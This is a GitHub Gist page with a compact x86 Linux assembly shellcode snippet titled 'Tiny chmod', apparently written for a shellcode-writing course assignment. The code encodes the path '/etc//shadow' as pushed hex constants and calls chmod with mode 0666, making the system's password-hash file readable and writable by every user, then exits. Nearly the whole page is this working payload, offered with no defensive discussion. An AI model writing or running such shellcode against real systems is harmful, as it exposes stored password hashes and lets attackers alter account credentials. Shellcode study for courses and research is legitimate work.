Last active
May 26, 2018 23:05
-
-
Save geyslan/5424493 to your computer and use it in GitHub Desktop.
Tiny chmod - Assembly Language - Linux/x86 - forlife
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
; This is a snippet of the original file in https://github.com/geyslan/SLAE/blob/master/5th.assignment/tiny_chmod.asm | |
global _start | |
section .text | |
_start: | |
; int chmod(const char *path, mode_t mode); | |
xor ecx, ecx | |
mul ecx | |
mov al, 15 | |
push edx | |
push 0x776f6461 | |
push 0x68732f2f | |
push 0x6374652f | |
mov ebx, esp | |
mov cx, 0x1b6 | |
int 0x80 | |
; void _exit(int status); | |
inc edx | |
xchg eax, edx | |
int 0x80 |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment